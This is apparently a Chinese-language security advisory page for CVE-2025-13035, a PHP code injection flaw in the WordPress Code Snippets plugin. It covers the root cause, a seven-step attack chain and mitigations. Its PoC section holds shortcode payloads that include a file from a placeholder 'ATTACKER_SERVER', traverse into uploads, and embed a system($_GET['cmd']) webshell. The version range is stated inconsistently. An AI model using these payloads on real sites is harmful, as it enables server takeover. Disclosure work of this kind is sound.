IPBUF安全漏洞报告
English
CVE-2025-13035 CVSS 8.0 高危

CVE-2025-13035 WordPress Code Snippets插件PHP代码注入漏洞

披露日期: 2025-11-19

漏洞信息

漏洞编号
CVE-2025-13035
漏洞类型
PHP代码注入/远程代码执行
CVSS评分
8.0 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
WordPress Code Snippets插件

相关标签

PHP代码注入远程代码执行WordPress插件Code Snippetsextract()函数滥用短代码漏洞文件包含CVE-2025-13035

漏洞概述

CVE-2025-13035是WordPress Code Snippets插件中的一个高危安全漏洞,CVSS评分8.0。该漏洞影响3.9.1及以下所有版本,允许具有Contributor级别权限的认证攻击者在特定条件下执行任意PHP代码。漏洞的根本原因在于插件在处理短代码属性时不当使用了PHP的extract()函数,该函数会将数组中的键值对提取为变量,攻击者可以通过构造特定的短代码属性来覆盖关键变量如$filepath,进而利用require_once语句包含恶意文件实现代码执行。此漏洞的利用需要管理员先启用"Enable file-based execution"设置,并存在至少一个活动的内容片段,这增加了攻击的复杂性但并未消除严重风险。

技术细节

漏洞存在于Code Snippets插件的evaluate_shortcode_from_flat_file方法中。该方法在处理[code_snippet]短代码时,会从短代码属性中提取参数并使用extract()函数将其转换为变量。由于插件未对输入进行严格过滤,攻击者可以构造恶意的属性参数来覆盖$filepath变量。当这个被篡改的$filepath被传递给require_once语句时,攻击者可以强制包含任意文件或触发PHP代码执行。结合PHP filter chains技术,攻击者可以将文件包含转化为任意代码执行。具体来说,攻击者需要创建一个带有恶意payload的短代码,利用extract()覆盖关键路径变量,然后通过require_once包含精心构造的文件路径,最终在服务器上执行任意PHP代码。此漏洞的利用前提是管理员必须启用Enable file-based execution设置。

攻击链分析

STEP 1
1
攻击者获取WordPress Contributor级别账户权限
STEP 2
2
诱骗管理员在Code Snippets插件设置中启用Enable file-based execution选项
STEP 3
3
确保存在至少一个活动的内容片段(Content snippet)
STEP 4
4
创建包含恶意payload的[code_snippet]短代码,利用extract()函数覆盖$filepath变量
STEP 5
5
触发短代码执行,使require_once包含攻击者控制的恶意文件
STEP 6
6
通过PHP filter chains或其他技术将文件包含转化为任意PHP代码执行
STEP 7
7
在服务器上获得webshell或执行系统命令,完成远程代码执行

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- WordPress shortcode for CVE-2025-13035 --> <!-- Requires: Contributor+ access, Enable file-based execution enabled --> <!-- Example PoC - Replace ATTACKER_SERVER with your controlled host --> [code_snippet file="http://ATTACKER_SERVER/malicious.php" description="CVE-2025-13035 PoC"] <!-- Alternative: Using extract() variable overwrite --> [code_snippet filepath="/var/www/html/wp-content/plugins/code-snippets/php/../../uploads/malicious.php" scope="global"] <!-- PHP Filter Chain exploitation (requires specific conditions) --> [code_snippet file="/tmp/../../../proc/self/fd/XX" scope="<?php system($_GET['cmd']); ?>"]

影响范围

Code Snippets插件 < 3.9.1

防御指南

临时缓解措施
在官方补丁发布前,建议立即禁用Enable file-based execution功能,审查并限制具有Contributor及以上权限的用户账户,考虑使用WordPress安全插件进行额外防护,并监控日志中的可疑短代码使用行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表